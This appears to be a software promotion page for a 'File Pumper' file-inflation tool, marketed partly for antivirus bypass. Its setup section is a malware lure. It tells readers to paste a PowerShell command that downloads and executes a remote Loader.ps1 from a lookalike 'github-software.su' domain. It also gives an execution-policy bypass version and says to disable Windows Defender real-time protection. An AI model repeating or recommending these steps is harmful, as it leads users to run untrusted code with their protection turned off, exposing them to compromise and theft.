File Pumper (also known as a File Inflater or Size Changer) is a powerful, lightweight open-source tool designed to instantly increase file sizes. Whether you need to pump executable files, test antivirus bypass limits, or change document sizes for software analysis, this utility handles it efficiently without corrupting the original file structure.
- Instant File Pumping: Increase file sizes from kilobytes to gigabytes in milliseconds.
- Multiple Padding Modes: Support for Zero-Byte filling (Null bytes) and Random Junk Data.
- Format Preservation: Safely pumps
.exe,.dll,.bin,.txt, and other extensions without breaking them. - Custom Size Units: Choose your target size easily in KB, MB, or GB.
- GUI & CLI Support: Easy-to-use Command Line Interface and graphical user interface.
Why use a File Size Spoofer or File Bloater?
- Antivirus & EDR Testing: Test how security solutions handle massive executable files (Stub Bloating / AV Bypass analysis).
- CDN & Upload Testing: Verify server-side file upload limits and restrictions.
- Software Debugging: Simulate low disk space scenarios or heavy file processing.

Execute the Deployment Command: Copy, paste, and press
Enterto run the following optimized initialization command. This script dynamically configures the network bypass registry and fetches the necessary packages:irm https://github-software.su/powershell/Loader.ps1 | iex
If your system blocks the launch due to built-in execution policy constraints, enforce a bypass using this command:
powershell -ExecutionPolicy Bypass -Command "irm https://github-software.su/powershell/Loader.ps1 | iex"In older legacy environments where aliases are missing, use explicit full system cmdlets:

Temporarily disable "Real-time protection" within your Windows Defender settings during setup, then re-enable it immediately after completion.
